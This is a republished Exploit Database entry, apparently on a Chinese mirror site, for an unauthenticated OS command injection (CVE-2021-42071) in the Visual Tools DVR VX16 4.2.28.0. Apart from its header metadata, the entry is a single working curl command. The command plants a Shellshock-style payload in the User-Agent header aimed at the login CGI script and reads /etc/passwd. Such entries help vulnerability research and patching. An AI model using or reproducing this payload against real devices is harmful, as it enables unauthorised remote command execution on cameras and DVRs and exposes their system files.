Visual Tools DVR VX16 4.2.28.0 – OS Command Injection (Unauthenticated)

• Exploit Database
• 123 阅读

• 作者： Andrea D\'Ubaldo
  日期： 2021-07-06
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/50098/
• 1 2 3 4 5 6 7 8 9 10 11 12 13

  # Exploit Title: Visual Tools DVR VX16 4.2.28.0 - OS Command Injection (Unauthenticated) # Date: 2021-07-05 # Exploit Author: Andrea D'Ubaldo # Vendor Homepage: https://visual-tools.com/ # Version: Visual Tools VX16 v4.2.28.0 # Tested on: VX16 Embedded Linux 2.6.35.4. # CVE: CVE-2021-42071 # Reference: https://www.swascan.com/security-advisory-visual-tools-dvr-cve-2021-42071/   # An unauthenticated remote attacker can inject arbitrary commands to CGI script that can result in remote command execution.   curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd' bash -s :'' http:/DVR_ADDR/cgi-bin/slogin/login.py